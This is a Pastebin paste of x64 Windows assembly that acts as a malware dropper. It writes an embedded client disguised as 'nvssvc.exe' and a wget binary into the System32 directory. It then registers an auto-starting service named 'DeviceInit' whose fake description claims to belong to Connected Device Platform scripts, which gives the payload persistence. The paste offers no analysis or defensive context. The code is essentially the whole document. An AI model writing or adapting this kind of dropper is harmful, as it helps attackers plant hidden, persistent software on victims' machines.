Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- global start
- NULL equ 0
- SC_MANAGER_ALL_ACCESS equ 0xF003F
- SERVICE_START equ 16
- SERVICE_ALL_ACCESS equ 0xF01FF
- SERVICE_INTERACTIVE_PROCESS equ 0x00000100
- SERVICE_WIN32_OWN_PROCESS equ 0x00000010
- SERVICE_AUTO_START equ 0x00000002
- extern GetSystemDirectoryA
- extern lstrcatA
- extern CreateFileA
- extern WriteFile
- extern CloseHandle
- extern MessageBoxA
- extern ExitProcess
- extern GetCommandLineA
- extern GetModuleFileNameA
- extern OpenSCManagerA
- extern CreateServiceA
- extern CloseServiceHandle
- section .data
- Buffer db 260 dup (?)
- hFile resq 1
- pBytesWritten resq 1
- SCH resq 1
- SVC resq 1
- %include 'client.inc'
- client_name db '\nvssvc.exe',0
- %include 'wget.inc'
- wget_name db '\wget.exe',0
- SERVICE_NAME db 'DeviceInit',0
- SERVICE_DISP db 'This custom service is used in Connected Device Platform scripts',0
- section .code
- start:
- sub esp , 64
- mov rdx , 260d
- mov rcx , Buffer
- call GetSystemDirectoryA
- mov rdx , wget_name
- mov rcx , Buffer
- call lstrcatA
- mov qword [rsp+30h] , 0
- mov qword [rsp+28h] , 0
- mov qword [rsp+20h] , 2
- xor r9 , r9
- mov r8 , 3
- mov edx , 0x80000000 + 0x40000000
- mov ecx , Buffer
- call CreateFileA
- mov [hFile] , rax
- mov qword [rsp+20h] , 0
- mov r9 , pBytesWritten
- mov r8 , [wget_len]
- mov rdx , wget
- mov rcx , rax
- call WriteFile
- mov rcx , [hFile]
- call CloseHandle
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- mov rdx , 260d
- mov rcx , Buffer
- call GetSystemDirectoryA
- mov rdx , client_name
- mov rcx , Buffer
- call lstrcatA
- mov qword [rsp+30h] , 0
- mov qword [rsp+28h] , 0
- mov qword [rsp+20h] , 2
- xor r9 , r9
- mov r8 , 3
- mov edx , 0x80000000 + 0x40000000
- mov ecx , Buffer
- call CreateFileA
- mov [hFile] , rax
- mov qword [rsp+20h] , 0
- mov r9 , pBytesWritten
- mov r8 , [client_len]
- mov rdx , client
- mov rcx , rax
- call WriteFile
- mov rcx , [hFile]
- call CloseHandle
- call ServiceInit
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ServiceInit:
- mov r8 , SC_MANAGER_ALL_ACCESS
- mov rdx , 0
- mov rcx , 0
- call OpenSCManagerA
- mov [SCH] , rax
- mov qword [rsp+60h] , 0
- mov qword [rsp+58h] , 0
- mov qword [rsp+50h] , 0
- mov qword [rsp+48h] , 0
- mov qword [rsp+40h] , 0
- mov qword [rsp+38h] , Buffer
- mov qword [rsp+30h] , 1
- mov qword [rsp+28h] , 2
- mov qword [rsp+20h] , 110
- mov r9 , SERVICE_ALL_ACCESS
- mov r8 , SERVICE_DISP
- mov rdx , SERVICE_NAME
- mov rcx , rax
- call CreateServiceA
- mov [SVC] , rax
- mov rcx , [SCH]
- call CloseServiceHandle
- mov rcx , [SVC]
- call CloseServiceHandle
- mov rcx , rax
- call ExitProcess
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement